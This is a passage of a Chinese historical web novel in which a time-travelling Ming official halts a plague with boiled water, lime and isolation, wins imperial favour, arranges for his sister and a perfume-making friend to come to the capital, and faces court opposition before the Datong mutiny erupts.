一旦发现有人出现发热、呕吐、腹泻、皮疹等症状,
立即强制移送疠所,
由随行的太医署医官进行诊治。
与其密切接触者,也需就地观察。
严禁人员在不同灾民点之间随意流动。
这些命令一下,顿时掀起了轩然大波。
灾民们首先不理解。
喝个水还要烧开?
多费柴火!
河水不一直这么喝吗?
撒石灰?
那玩意儿呛人又烧手,有啥用?
生病了还要被拉走关起来?
那不是等死吗?
许多老人更是嘀咕:
“苏青天啥都好,
就是这事管得太宽了……”
真定府本地的一些官员和胥吏,
虽然明面上不敢再反对,
私下里却议论纷纷。
通判周文才捻着他的山羊胡,
对知府吴有德低语:
“府尊,这位苏副使,
是不是有些……太过小心了?
自古灾荒难免疫病,
此乃天意,岂是人力可违?
如此兴师动众,劳民伤财,
恐惹人非议啊。”
吴有德依旧是那副面团脸,
含糊道:
“钦差之意,我等照办便是,
照办便是……”
心里却也在打鼓,觉得苏惟瑾是读书读迂了。
连随行的太医署一位姓王的医官,
也面露难色,私下向石巍进言:
“石部堂,苏修撰所言之法,
下官翻遍医书,亦未见明确记载。
沸水或可去些污浊,
然石灰之物,辛辣有毒,用于防疫……是否稳妥?
至于隔离,若将病患集中,
万一……万一交叉感染,岂非更糟?”
这王太医年纪较大,观念保守,
对苏惟瑾这套“野路子”充满怀疑。
面对这些质疑和抵触,
苏惟瑾态度异常坚决。
他知道,在科学常识普及的现代,
这些措施是基础,
但在明朝,就是惊世骇俗。
他无法详细解释细菌、病毒,
只能借用古人能理解的概念,
并结合钦差的权威强行推行。
他对灾民宣讲:
“此非吾之创见,
乃古人应对疫气之良法!
沸水可祛除水**瘴,
石灰能杀灭地中秽气,
隔离是为防‘气瘴相染’!
诸位欲活命,欲保全家人,便需遵从号令!”
语气斩钉截铁,不容置疑。
对王太医等专业人士,
他则换了一种说法:
“王太医,医书有云‘上工治未病’。
此法虽古籍记载语焉不详,
然其理在于‘截断毒源’,
乃防疫之上策。
非常之时,当行非常之法,
若有差池,苏某一力承担!”
他搬出“古籍记载”和“治未病”的理念,
既给了对方台阶,又展现了担当。
石巍虽然也将信将疑,
但出于对苏惟瑾之前表现的信任,
以及防疫失败的巨大责任,
他选择了全力支持,
严令地方官差强制执行,
有不从者,甚至动用了鞭刑。
于是,在真定府,出现了一幅奇特的景象:
一边是河道上辛勤劳作的场面,
另一边则是差役们督促烧水、撒石灰、建立隔离区的忙碌场景。
灾民们虽不解,但在严令和“苏青天”的威望下,也只能勉强配合。
时间,是检验真理的唯一标准。
就在苏惟瑾的防疫措施推行了约莫十来天后,
坏消息从邻近的顺德府(今邢台)传来:
该地灾民**处爆发了霍乱(当时称为“绞肠痧”或“虎狼痢”),
疫情迅猛,每日死者数十人,
府城内外一片恐慌,
官府束手无策,
已有向周边蔓延的趋势!
消息传到真定,
上至知府吴有德,
下至普通胥吏、灾民,无不色变!
恐慌的情绪如同瘟疫本身,
迅速弥漫开来。
所有人都下意识地看向了钦差行辕,
看向了那位强行推行“古怪”措施的苏副使。
然
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而,一天过去了,两天过去了……
真定府境内,尤其是那些严格执行了防疫措施的灾民点和工地,
竟然安然无恙!
除了极少数早期出现腹泻症状被及时隔离的人得到医治后好转外,
没有出现任何**性疫情!
对比顺德府的惨状,
真定府简直成了风暴眼中不可思议的宁静港湾!
这一下,所有的质疑和抵触声浪,
瞬间烟消云散,转化为了无比的庆幸和后怕!
那个之前还私下抱怨的王太医,
激动得胡子直抖,找到苏惟瑾,深深一揖:
“苏修撰!不,苏先生!
老夫……老夫行医数十载,
从未见过如此奇效!
先生之法,竟真能拒瘟神于境外!
请受老夫一拜!
不知先生此法,出自何典?
原理为何?望先生不吝赐教!”
他眼神热切,俨然发现了医学新大陆。
苏惟瑾连忙扶起王太医,
心中暗笑,面上却故作高深,淡然道:
“王太医快快请起。
此法乃苏某少时于一孤本杂记中偶见,
名为《避疫杂录》,作者已不可考。
书中只言片语提及‘气瘴’、‘毒虫’之说,
言其可通过污水、秽物、病患气息相传。
沸水、石灰或可灭杀‘毒虫’,
隔离则可断其路径。
苏某亦是姑妄试之,不想竟有微效,
实乃侥幸,不敢居功。”
他把一切都推给虚无缥缈的“孤本杂录”,
既解释了来源,又保持了神秘感,
更显得自己谦虚。
王太医却如获至宝,喃喃道:
“《避疫杂录》……气瘴毒虫……妙啊!
虽言语朴拙,然大道至简!
先生能学以致用,救民于水火,
实乃苍生之福!”
知府吴有德、通判周文才等人,
此刻对苏惟瑾已是佩服得五体投地,
再不敢有丝毫怠慢。
灾民们更是将苏惟瑾奉若神明,
“苏青天”的名号喊得越发响亮,
甚至有人偷偷给他立了长生牌位。
石巍将这一切看在眼里,
心中震撼无以复加。
他原本以为苏惟瑾只是精通政务权谋,
没想到连这岐黄防疫之事,
竟也有如此鬼神莫测之能!
此子之才,深不可测!
真定府的成功防疫,
如同一颗重磅**,
其影响远远超出了府界。
消息很快传回京城,传入深宫。
当嘉靖帝得知苏惟瑾不仅顺利推行以工代赈,
更以奇法避免了瘟疫,
保住了数万生灵时,
那份简在帝心的赏识,
彻底变成了难以动摇的倚重!
而“听风小筑”里,沈香君收到前线传来的消息,
嘴角微扬,提笔在情报册上轻轻添了一笔:
“主上防疫奇效,声震畿辅。”
她知道,自己押下的宝,
正在绽放出越来越耀眼的光芒。
第185章 凯旋返京师,政绩实打实
嘉靖二年的初秋,
当苏惟瑾和石巍一行人离开真定府时,
景象已与来时截然不同。
龟裂的土地上,冬小麦的嫩绿已顽强地探出头;
疏浚后的河道虽水量不丰,
但河床整洁,堤岸牢固,
静静等待着来年的丰沛;
曾经蜷缩在城墙下的灾民,
大多领到了最后一笔工钱或过冬粮,
各自返乡或寻了短工,脸上不再是麻木,
而是对未来的些许期盼。
真定府城内外,虽谈不上繁荣,
却已恢复了基本的秩序与生机。
知府吴有德率领阖城官员,
一直将钦差队伍送到十里长亭,
态度恭敬得近乎谦卑。
尤其是对苏惟瑾,
那眼神里除了敬畏,
更添了几分由衷的佩服。
通判周文才更是拉着苏惟瑾的手,
说了许多“苏修撰年少有为,
真乃国之栋梁,此番恩德,
真定百姓永世不忘”的场面话,
虽不乏奉承,却也带着几分真实。
连那位户房书办赵奎,
也躲在人群后面,远远地拱手,
脸上挤出的笑容比哭还难看,
再不敢有丝毫怠慢。
返京的路途,比去时轻松了许多。
石巍心情舒畅,连日来的疲惫仿佛一扫而空。
他坐在马车里,看着窗外渐次染上秋色的山野,
忍不住对并辔而行的苏惟瑾感慨:
“惟瑾啊,此番真定之行,
若非有你,老夫怕是真要焦头烂额,无功而返了。
你这以工代赈、防疫防灾的一套连环拳,打得漂亮!
实打实的政绩,任谁也挑不出毛病来!”
苏惟瑾骑在马上,身姿挺拔,闻言谦逊一笑:
“石部堂言重了。
此乃陛下洪福,部堂您居中坐镇,
调度有方,下官不过是跑跑腿,出出主意罢了。
真定百姓能渡过难关,
全赖朝廷恩德,我等岂敢居功?”
他这话说得滴水不漏,
既把功劳归于皇帝和上司,
又显得自己虚怀若谷。
石巍听了,更是觉得此子不仅能力超群,
更难得的是懂得进退,不骄不躁,
心中对他的评价又高了几分。
他已打定主意,回京后的奏疏,
定要好好为苏惟瑾请功,
这样的干才,理应得到重用。
京城,紫禁城,乾清宫。
嘉靖帝朱厚熜仔细阅读着石巍八百里加急送来的奏报。
奏报详细陈述了真定之行的始末:
如何突破胥吏阻挠,
怎样推行以工代赈并优化管理,
如何强制防疫避免瘟疫,
最终如何用低于预算的钱粮,
成功安抚数十万灾民,
并留下了可惠及长远的水利工程。
奏疏中,石巍毫不吝啬对苏惟瑾的赞美之词,
称其“识见超卓,虑事周详,
勇于任事,更兼体恤民瘼,
实为难得之干才”,
“此番赈济得以功成,苏修撰当居首功”。
随着阅读的深入,
嘉靖帝紧锁的眉头渐渐舒展开,
嘴角甚至泛起了一丝难得的笑意。
尤其是看到“防疫奇效,
邻府疫情大作,我真定独安”这一段时,
他眼中精光一闪,忍不住用手指轻轻敲了敲御案。
“好!好一个苏惟瑾!”
嘉靖帝放下奏疏,心情大好。
他登基以来,见惯了官员们的扯皮推诿、敷衍塞责,
像这样既能提出高明策略,
又能亲自落地执行,
并且取得如此显著成效的臣子,
简直是凤**麟角!
这苏惟瑾,果然没有让他失望!
不仅学问好,更能办实事,解实忧!
“传旨!”
嘉靖帝对侍立一旁的司礼监太监道。
“石巍、苏惟瑾赈灾有功,
着令其返京后即刻陛见!
另,赏石巍纻丝二表里,
苏惟瑾……赏纻丝一表里,银五十两!”
赏赐虽不算特别厚重,
但“即刻陛见”的待遇,
却彰显了非同一般的圣眷。
消息像长了翅膀一样,
迅速在京城官场传开。
那些原本等着看笑话,
认为苏惟瑾年轻缺乏经验、
此行必遭挫折的人,顿时哑口无言。
尤其是当初反对苏惟瑾担任要职的钱受辉等人,更是脸上无光。
数日后,苏惟瑾与石巍风尘仆仆回到京城。
他们尚未回到各自衙门,
宫里的谕旨便已到达:陛下召见!
两人沐浴更衣,即刻入宫。
在通往乾清宫的路上,
遇到的官员无不投来复杂目光,
有羡慕,有嫉妒,也有探究。
苏惟瑾目不斜视,步履沉稳,
心中却十分明了,真正的考验和机遇,就在眼前。
乾清宫内,嘉靖帝端坐御座之上,
面色比数月前显得红润了些,
目光锐利地扫过跪在下面的石巍和苏惟瑾。
“臣石巍(苏惟瑾)叩见陛下,万岁万岁万万岁!”
“平身。”
嘉靖帝的声音带着一丝温和。
“二位爱卿辛苦了。
真定之事,朕已详览石爱卿奏报,
办得不错,甚合朕心。”
石巍连忙躬身:
“此乃陛下天威庇佑,
臣等不过恪尽职守,不敢言功。”
嘉靖帝摆摆手,目光直接落在苏惟瑾身上:
“苏爱卿,朕
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听闻你那‘以工代赈’之法,
不仅活了民,安了境,还兴了水利;
那防疫之策,更是神奇,
竟能让瘟神绕道而行。
且与朕细细说说,
你是如何想到这些法子的?
又如何在地方推行下去的?”
这是考较,也是极大的荣耀。
意味着皇帝对他的思路和过程极为感兴趣。
苏惟瑾深吸一口气,
超频大脑早已准备好应答。
他没有夸大其词,
而是用平实清晰的语言,
将如何分析胥吏心理、设计制衡制度、
怎么优化工程管理、
如何借用古人理念解释防疫必要性等过程,娓娓道来。
他重点突出了皇帝的英明决策和石巍的统筹之功,
将自己的作用置于执行和补充的位置,
但所述内容之扎实、思路之清晰,
让嘉靖帝和一旁侍立的阁老们都暗暗点头。
当听到苏惟瑾描述灾民拿到工钱时的喜悦和防疫成功后百姓的拥戴时,
嘉靖帝的脸上露出了真正的笑容。
他要的就是这样的臣子,
能为他分忧,能赢得民心,
能创造实实在在的政绩!
“好!学以致用,知行合一!
苏爱卿果然没有辜负朕的期望!”
嘉靖帝龙颜大悦。
“如今朝中,正需要你这样肯实干、
懂变通的年轻臣子!”
这一次陛见,时间远比预期的长。
嘉靖帝问得详细,苏惟瑾答得从容。
当他二人退出乾清宫时,
夕阳已将紫禁城的琉璃瓦染成了金红色。
石巍拍了拍苏惟瑾的肩膀,由衷道:
“玉衡,经此一事,你在陛下心中,
算是彻底站稳了。
前途不可限量啊!”
苏惟瑾拱手谦谢,
心中却如明镜一般。
这次真定之行,
他不仅圆满完成了任务,
节省了预算,留下了口碑,
更重要的是,在嘉靖帝心中牢固树立了“能臣”、“干吏”的形象。
这份实打实的政绩,
比十篇花团锦簇的文章都更有分量。
“苏青天”的名声,
随着返乡灾民的口耳相传,
开始在京畿乃至更远的地方流传。
回到翰林院那小院时,
他发现案头已堆满了各种拜帖和请柬,
其中不乏一些之前对他不甚理睬的官员。
世态炎凉,可见一斑。
但他只是微微一笑,
将这些应酬之事暂且搁下,
当务之急,是好好消化此次外放的经历,
并利用“听风小筑”送来的最新情报,
谋划下一步的动作。
真正的权力游戏,每一步都要小心翼翼。
第186章 小妹求救急,香露暗生财
紫禁城的金瓦在秋阳下流淌着灼目的光,
苏惟瑾身着簇新的六品青袍,
随着退朝的人流缓步走出午门。
皇帝陛下的嘉奖言犹在耳,
同僚们或真或假的恭贺还萦绕在身边,
但他超频的大脑却已从庙堂的高远切换到了世俗的烟火。
一份来自沭阳的家信,
由苏惟山悄无声息地递到了他手中,
带着故乡泥土和墨香的气息。
信是小妹苏婉写来的,
字迹比以往更加娟秀工整,
但苏惟瑾敏锐地察觉到,
那笔锋间带着一丝不易察觉的克制与犹豫。
他迫不及待地拆开信。
开头依旧是熟悉的报平安,
说七叔公身体硬朗,
家族事务井井有条,
她在族学里又新认了许多字,
已能帮着七叔公看些简单的账目了。
字里行间,全是让他安心的言辞。
然而,读到后面,
苏惟瑾的心却渐渐沉了下去。
信中提到,七叔公近来频繁接待一些前来拜访的乡绅,
言语间总有意无意地打听她的年岁,
更有人直接带了家中适龄子弟的画像前来。
她知道,这是七叔公在为她张罗婚事了。
她写道:
“兄长如今位高权重,
前程似锦,小妹深知,
我的婚事亦关乎兄长颜面,不敢任性。
只是……只是近日听闻,
七叔公属意邻县林乡绅之子,
那人虽家资丰厚,然小妹暗中打听,
其人好逸恶劳,不通文墨,
终日只知走马斗鸡。
小妹每每思及若与此人相伴终身,
便觉惶恐难安,夜不能寐。”
“小妹知兄长在京,如履薄冰,步步艰辛,
本不该以此等内宅琐事相扰,
徒增兄长烦忧。
然,除兄长之外,
小妹实不知还能与何人言说心中惶恐。
忆及往日,兄长曾言,
愿婉儿将来能寻一知冷知热、志趣相投之人,
而非困于门户之见。
此言,婉儿一直铭记于心……”
信纸在此处,有明显的字迹晕染开来的痕迹,
显然是写信人落泪所致。
她没有直接要求什么,
但那无声的哭泣和小心翼翼的求助,
却像一根根细针,扎在苏惟瑾的心上。
超频大脑瞬间调取了所有关于“林乡绅之子”的零散信息,
结合苏婉的形容,立刻勾勒出一个不学无术的纨绔形象。
一股难以言喻的怒火夹杂着深切的自责猛地涌上心头。
他这段时间在京城周旋于各方势力,
谋划前程,巩固地位,
却忽略了远在故乡、
唯一血脉相连的妹妹正在面临人生最重要的抉择,
甚至可能被推向一个火坑!
他想起妹妹从小受的苦,
想起她在那破败院落里默默承受的一切,
想起自己曾发誓要让她过上好日子,
要为她撑起一片天。
可如今,他位极人臣,名声显赫,
却连妹妹最基本的婚姻幸福都险些无法保障!
这种认知让他感到一阵窒息般的心痛。
他紧握着信纸,指节因用力而微微发白,
心中充满了对妹妹的愧疚和对自己的责备。
他太专注于前方的征途,
却差点忘了身后最需要他守护的人。
没有任何犹豫,
自责与疼惜瞬间转化为坚定的行动力。
将妹妹接来京城,
置于自己羽翼之下,
不仅是解决眼前困境的最佳方式,
更是他作为兄长不可推卸的责任。
他绝不允许任何人,以任何名义,
牺牲妹妹的幸福。
他要亲自为她把关,
为她寻觅真正的良配,
或者,即便她不愿嫁人,
他也有能力让她一世无忧,
活得自由自在。
“婉儿,是哥哥疏忽了……”
他在心中默念,
眼中闪过一丝锐利的光芒。
“从今往后,
再无人可勉强你做任何不愿之事。”
信末,苏婉又似乎不经意地提起另一件事:
“另有一事,芸娘父亲陈伯康旧疾复发,
咳得厉害,大夫说需用上好的老山参入药,价格不菲。
芸娘那丫头性子倔,不肯轻易求人,
尤其是……怕给你添麻烦,惹人闲话。
我见她近日里忙忙碌碌,
似乎在鼓捣什么香露之类的小玩意儿,
说是要自己赚药费,真是难为她了……”
芸娘!
这个名字让苏惟瑾从自责的情绪中稍稍抽离,
但心中的责任感却更重了一分。
脑海中立刻浮现出那个温柔坚韧的身影。
他回到翰林院值房,
立刻铺纸研墨,首先要给妹妹回信。
他提笔时,心情依旧沉重。
信的开头,他没有过多解释,
而是直接而坚定地写道:
“婉儿吾妹:
来信收悉,兄心甚痛,亦深感自责。
是兄疏忽,竟让吾妹受此委屈,
惶恐难安,兄之过也!”
“吾妹终身大事,关乎一世喜乐,岂能儿戏?
那林家子,既非良配,不必再虑。
七叔公处,兄即刻修书说明,
一切自有为兄担当,吾妹切勿忧心,
更不必勉强自己分毫。”
接着,他提出了深思熟虑后的安排,
语气充满了不容置疑的保护欲:
“京城广阔,非沭阳所能及。
吾妹聪慧懂事,留在沭阳实是埋没。
接信之后,即可着手准备,
不日兄将派人返乡,接你入京。
此后,吾妹便居于兄之府邸,你我兄妹相依。
你的婚事,兄必亲自为你留意,
定要寻一真正品性端方、
懂得尊重爱惜你之人。
若天下男子皆不入吾妹之眼,
为兄便养你一世,
亦是我苏惟瑾莫大的福分。”
写到此处,他心中激荡,笔锋更加有力:
“记住,你是我苏惟瑾唯一的妹妹,
无需看任何人脸色,
无需为任何事委曲求全。
天塌下来,有兄长为你顶着!”
这封回信,他写得前所未有的直白与强硬,
他要让妹妹清清楚楚地明白,
她拥有拒绝和选择的绝对权利,
而这一切,都由他这个兄长来为她背书。
接着,他才开始处理芸娘的事情。
在给苏婉的信末,他补充道:
“闻芸娘之事,心甚惦念。
陈伯父之病,不容耽搁,
所需药费,我即刻命人捎回。
芸娘所制香露,我甚感兴趣,
此物在京中或大有可为。
小妹可问问芸娘,
是否愿与你一同北上?
我可助其在京开设香露作坊,
一来可解其燃眉之急,
使其有立身之本;
二来,此技若能发扬,亦是一桩善事。
路途盘缠及一应开销,皆由我负责。”
他写得情真意切,考虑周详。
既解决了小妹的困境,
又为芸娘提供了绝佳的发展机会,
还将帮助包装成商业合作,
最大限度地维护了芸娘的自尊心。
超频大脑甚至已经开始规划:
芸娘的香露技术是稀缺资源,
与沈香君经营的“云裳阁(听风小筑)”定位互补,
一个面向高端女眷,
一个可开发更大众的市场,
若能结合,将成为他商业版图中重要一环。
画面转动,千里之外的沭阳城南,陈氏书铺后院。
空气中弥漫着一股清雅的梅花冷香,
与书铺固有的墨香交织在一起,
形成一种奇特的氛围。
陈芸娘挽着袖子,
正小心翼翼地将陶罐中萃取的梅花花露过滤到一个个小巧洁净的白瓷瓶里。
她眼下一片淡淡的青黑,
显是连日操劳熬夜所致,
但眼神却异常明亮专注。
自从父亲病重,需用昂贵药材,
家里本就微薄的积蓄迅
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速耗尽。
她拒绝了苏婉堂姐提出向苏惟瑾求助的建议,
她深知苏惟瑾如今身份不同,
不知多少双眼睛盯着,
她不能给他添一丝麻烦,
更不能让人说他攀附状元公。
绝望之中,她想起了苏惟瑾曾说过的“海外异人能以鲜花制香,
其香持久不散”的模糊话语。
凭着打理书铺识字的功底和一股不服输的韧劲,
她翻遍了铺子里所有可能相关的杂书、医书,
又凭着女儿家对香气的敏感和一双巧手,
开始一次次试验。
没有精密的仪器,就用最土的法子:
采摘最新鲜的花瓣,
用木槌轻轻捣碎,
再用细纱布包裹,
悬于盛有清水的陶罐之上,
文火慢蒸,收集那凝结的水汽……
失败了一次又一次,
浪费了不少花瓣,
终于让她摸索出萃取梅花、
茉莉等花汁制成简易香露的方法。
她制成的香露,虽然纯度远不如现代香水,
但香气自然清雅,胜过当时常见的香囊、香粉,
很快在沭阳县城的一些小姐、
媳妇圈子里传开,
换来了勉强维持父亲药费的银钱。
然而,这小小的成功,也引来了不必要的关注。
这天,一个穿着绸衫、满脸精明的中年男子踱进了书铺,
正是县城里“丽人坊”胭脂铺的老板,姓钱。
他拿起一瓶芸娘摆在柜台角落试售的梅花香露,
嗅了嗅,小眼睛里闪过一丝贪婪。
“陈姑娘,这香露是你制的?”
钱老板眯着眼问。
芸娘警惕地点点头:
“是,钱老板有何指教?”
“指教不敢当。”
钱老板皮笑肉不笑地说。
“这玩意儿嘛,闻着还行,
就是做法粗糙,难登大雅之堂。
这样吧,我看你们家也不容易,
出五两银子,把这方子卖给我,如何?”
五两银子?
芸娘心中气苦,
这连父亲几副药钱都不够!
而且这是她辛苦摸索出的立身之本,
岂能轻易卖掉?
她断然拒绝:
“对不起,钱老板,这方子不卖。”
钱老板脸色一沉:
“陈姑娘,别敬酒不吃吃罚酒。
在沭阳这地界,我钱某看上的东西,
还没有弄不到手的。
你一个姑娘家,守着个破书铺,
还要给你那病鬼老爹买药,能撑多久?
乖乖卖了方子,拿钱治病,大家都好!”
话语中的威胁意味不言而喻。
芸娘脸色发白,紧紧攥住了衣角,
心中涌起一阵无助和愤怒。
就在这僵持时刻,
苏婉恰好来铺子里看望芸娘,
见此情景,立刻上前帮腔,
将那钱老板不软不硬地顶了回去。
钱老板见有人来,
悻悻地撂下句“走着瞧”,便离开了。
“芸娘姐,你别怕,有我在呢。”
苏婉安慰着惊魂未定的芸娘,
脸上露出了这些日子以来最真心实意的笑容,
随即拿出了哥哥苏惟瑾刚刚寄到的信。
“你看,哥哥来信了,他什么都知道了,
还让我们一起去京城呢!
他信里说了,我的婚事由他做主,
谁也不能勉强我,
还让我去京城和他一起住!”
苏婉的语气中充满了如释重负的喜悦和对未来的憧憬。
芸娘颤抖着接过信笺,
看着那熟悉的字迹,
看着信中他对妹妹毫无保留的维护与安排,
以及对她的肯定与邀请,
忍了许久的眼泪,
终于决堤而下。
这一次,是温暖的,
充满希望的泪水。
苏惟瑾的一封信,胜似一道强光,
穿透了沭阳小城的阴霾,
为两位困境中的女子指明了方向。
也将在不久的将来,
于大明朝的京城,
掀起一场意想不到的风潮。
第187章 帝心大悦时,简拔入值庐?
秋日的阳光透过翰林院值房的窗棂,
在地上投下斑驳的光影。
苏惟瑾端坐案前,
神情专注地校勘着一篇前朝奏议,
仿佛外界的一切纷扰都与他无关。
但超频大脑的深处,
却如同平静海面下的暗流,
正在高速处理着多重信息:
真定府灾后评估报告的细节推敲、
堂姐苏婉和芸娘北上行程的暗中安排、
以及来自“听风小筑”关于京城最新动向的密报。
然而,这片刻的宁静很快被打破。
司礼监一位身着绯袍、
面白无须的大太监,
在一众小内侍的簇拥下,
径直来到了翰林院,
宣旨意直达苏惟瑾的值房!
这般阵仗,在等级森严的翰林院极为罕见,
顿时引得所有官员侧目,心中掀起惊涛骇浪。
“陛下口谕!”
大太监声音尖细却带着不容置疑的威严。
“翰林院修撰苏惟瑾,
前番真定赈灾,功勋卓著,
体恤民瘼,才堪大用。
朕心甚慰!
特赏赐:纻丝四表里,白银二百两,
御用新墨十锭,端砚一方!
另,念其忠勤,特许其遇有要务,
可具密疏直奏朕前!钦此!”
旨意宣罢,满院皆惊!
赏赐之物固然丰厚,
尤其是御用笔墨,更是难得的殊荣。
但真正让所有人心头巨震的,
是最后那句——“可具密疏直奏朕前”!
这意味着什么?
意味着苏惟瑾获得了一条直达天听的专属通道,
超越了正常的官僚体系,
这是何等的信任与恩宠!
多少二三品大员都未必有此殊荣!
“臣苏惟瑾,叩谢陛下天恩!万岁万岁万万岁!”
苏惟瑾心中亦是波澜微起,
但面上却沉静如水,
恭敬地叩首接旨。
他眼珠微微一转瞬间分析出,
这是嘉靖帝在真定政绩的基础上,
给予的实质性奖励和权力延伸,
是“简在帝心”的明确信号。
宣旨太监脸上堆起职业化的笑容,
亲自将苏惟瑾扶起:
“苏修撰快快请起。
陛下对您,可是寄予厚望啊。
日后若有嘉谟良策,切莫辜负圣恩。”
话语间的亲近之意,不言而喻。
送走太监,翰林院瞬间炸开了锅。
同僚们纷纷围上来道贺,
语气中充满了羡慕、嫉妒,
以及一丝难以言喻的敬畏。
之前那位曾试图刁难苏惟瑾的于编修,
此刻脸色煞白,躲在人群后面,
连上前搭话的勇气都没有了。
然而,这股因圣眷而掀起的风暴,还远未结束。
仅仅隔了一日,一个更具**性的消息,
如似野火般在朝堂上下蔓延开来:
陛下在与阁臣议事时,
竟流露出欲擢升苏惟瑾入“无逸殿”随侍左右的意思!
无逸殿是什么地方?
那是紧邻乾清宫的一处殿阁,
堪称天子真正的机要秘书处!
能入值无逸殿的,
无不是皇帝最信任、最倚重的近臣,
日夜随扈,参与机要,草拟诏书,权势熏天!
张璁、桂萼等人,便是因入值无逸殿而迅速崛起,把持朝纲。
若苏惟瑾以区区修撰之身入值,
其前途简直不可限量!
这下,不仅仅是翰林院,
整个京城官场都为之侧目。
羡慕者有之,惊叹者有之,
但更多的,是暗流涌动的警惕与反对!
首先坐不住的,
便是以张璁为首的“议礼新贵”集团。
他们靠“大礼议”起家,
凭借的就是嘉靖帝的宠信和近水楼台的优势。
如今突然冒出一个苏惟瑾,
不仅简在帝心,更有实实在在的政绩打底,
若再让其进入无逸殿这个核心圈子,
岂不是要分走他们的权力蛋糕,
甚至威胁到他们的地位?
这日午后,西苑一处精舍内,
张璁、礼部右侍郎钱受辉,
以及几位与张璁交好的科道言官、
翰林院前辈聚在一起。
气氛凝重。
钱受辉首先开口,语气带着浓重的忧虑:
“诸公,陛下欲简拔苏惟瑾入值无逸殿,此事非同小可!
苏某虽有微功,然毕竟年少,
入仕不过一年,于朝廷典章制度、军国大事,所知几何?
若骤登清要,侍奉君前,
万一应对失宜,岂不有损圣德?
亦恐寒了天下历练多年老臣之心啊!”
他巧妙地将个人利益包装成对朝廷制度和老臣的关心。
一位白发苍苍的翰林院老侍读学士捋着胡须,附和道:
“钱侍郎所言极是。
无逸殿乃机枢重地,
非德高望重、阅历深厚者不能胜任。
苏修撰才华虽佳,然正如璞玉,尚需雕琢。
贸然置于炉火之上,恐非爱之,实乃害之。
老夫以为,还应让其在翰林院多读几年书,多加磨砺为上。”
这话听起来是为苏惟瑾着想,
实则是要将他按在冷板凳上。
另一位言官更是直接:
“下官听闻,苏惟瑾在真定,
行事颇有些独断专行,不循旧例。
长此以往,恐非朝廷之福。
入值无逸殿之事,还望诸公力谏,
使陛下明察!”
这几人一唱一和,很快便统一了口径:
绝不能让其入值无逸殿!
但硬顶皇帝肯定不行,
必须找到冠冕堂皇的理由。
次日早朝后,嘉靖帝特意留下几位阁臣和张璁等近臣,再次提及此事。
“苏惟瑾才具优长,勇于任事,
朕欲使其入无逸殿历练,
诸卿以为如何?”
嘉靖帝语气平淡,但目光中带着审视。
首辅**纪和次辅费宏对视一眼,均感棘手。
他们虽对苏惟瑾无恶感,
甚至有些欣赏,
但也不愿看到张璁集团过于坐大,
或者另一个新的“幸臣”崛起打破平衡。
**纪沉吟片刻,谨慎开口:
“陛下爱才之心,老臣感同身受。
苏修撰确为干才。
然则,无逸殿职司机密,关乎国本。
苏修撰年未弱冠,资历尚浅,
若骤然拔擢,恐难服众,
亦恐其自身压力过大,反为不美。
不若……先令其在六部观政,
或于翰林院多加栽培,
待其阅历稍丰,再予重任,似更为稳妥。”<
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br>这番话四平八稳,既肯定了苏惟瑾,又委婉表达了反对。
张璁则更直接些,他出列躬身,
语气恳切:
“陛下,苏惟瑾真定之功,
天下皆知,陛下厚赏,
已是彰显其功。
然则,玉不琢不成器。
臣以为,**阁老所言极是。
苏修撰乃状元之才,将来必为国家栋梁,
正因如此,更应让其于下面多经历练,
熟悉政务民情,根基方能稳固。
若过早置于帷幄,犹如幼苗置于温房,
虽可速成,却难经风雨。
此非为国家育才长久之计也,
伏乞陛下三思。”
他把自己放在了为国家长远考虑的高度上。
几位科道言官也纷纷出列,
引经据典,无非都是“磨砺说”、“资历论”,
核心意思就是:
苏惟瑾太年轻,还需要敲打,不能升太快。
嘉靖帝坐在龙椅上,
面无表情地听着底下臣子们看似忠恳、
实则各怀心思的劝谏。
他心中岂能不明白这些人的小九九?
一股不悦之情油然而生。
他欣赏苏惟瑾的才华和实干,
想将其置于身边重用,
却遭到如此一致的“委婉”反对。
这让他再次感受到了皇权并非无所不能,
也会受到朝臣势力的制约。
他看了一眼默不作声的苏惟瑾,
见其垂首恭立,神色平静,
并无丝毫急切或不满,心中稍慰。
权衡再三,嘉靖帝知道,
此时若强行推动,
必然引起更大反弹,
于苏惟瑾也并非好事。
“罢了。”
嘉靖帝挥了挥手,
声音带着一丝不易察觉的冷淡。
“诸卿所言,亦不无道理。
苏惟瑾确需历练。
入值无逸殿之事,容后再议。
然其密奏之权,依旧保留。
望其戒骄戒躁,勤勉王事,勿负朕望。”
“陛下圣明!”
众臣齐声高呼,心中各松一口气。
一场可能让苏惟瑾一步登天的机遇,
就这样在旧有势力的联合阻击下,
暂时搁浅了。
虽然获得了丰厚的赏赐和宝贵的密奏权,
但通往权力核心的最快通道,被设置了障碍。
苏惟瑾恭敬谢恩,退出大殿。
阳光照在他年轻的脸上,
看不出丝毫沮丧。
于此同时大脑冷静地分析着刚才的一切:
皇帝的赏识是真,但帝心难测,
依赖皇恩如同空中楼阁;
张璁集团的阻击是必然,
暴露了自己已成了某些人的眼中钉;
而首辅等人的态度,则显示了朝中平衡的微妙。
“磨砺?资历?”
苏惟瑾心中冷笑。
“那就让你们看看,
什么是真正的磨砺,
什么是无法忽视的资历!”
暂时的受阻,反而激起了他更强的斗志。
在这大明官场,唯有实打实的功绩和无可替代的价值,
才是打破一切阻碍的终极利器。
而他的超频大脑,最不缺的就是创造功绩和价值的能力。
这场权力的游戏,
与张璁等人的正面冲突,
已然不可避免,只是时间问题。
第188章 大同急报至,兵变惊朝野
真定府旱灾的尘埃刚刚落定,
苏惟瑾“苏青天”的名声还在京畿之地口耳相传,
一份沾着边塞风尘与血腥气的八百里加急军报,
化成一声突如其来的惊雷,
狠狠劈在了嘉靖二年初冬的北京城头,
将刚刚因成功赈灾而稍有缓和的朝堂气氛,瞬间炸得粉碎!
大同兵变!
消息像瘟疫一样迅速蔓延开来:
九边重镇之一的大同镇,
士兵因长期被拖欠军饷(有的甚至长达一年),
加之军官层层盘剥、欺压过甚,
终于忍无可忍,于数日前哗变!
乱兵们冲击官署,
扣押了巡抚张文锦,
杀**几名平日作恶多端的军官,
并占据了部分城防,
要求朝廷立即补发全部欠饷,
严惩贪腐将领!
一时间,整个京城都仿佛被投入了冰窟。
茶楼酒肆噤若寒蝉,
往日高谈阔论的士子们面面相觑,
市井小民则面露惶恐,
窃窃私语着“边军**了”、
“**会不会打进来”之类的可怕猜测。
一种山雨欲来风满楼的压抑感,
笼罩了帝国的首都。
紫禁城,奉天殿。
嘉靖帝朱厚熜的脸色阴沉得能滴出水来,
年轻的胸膛因愤怒而剧烈起伏。
他登基以来,夙兴夜寐,
一心想要振兴朝纲,做个中兴之主。
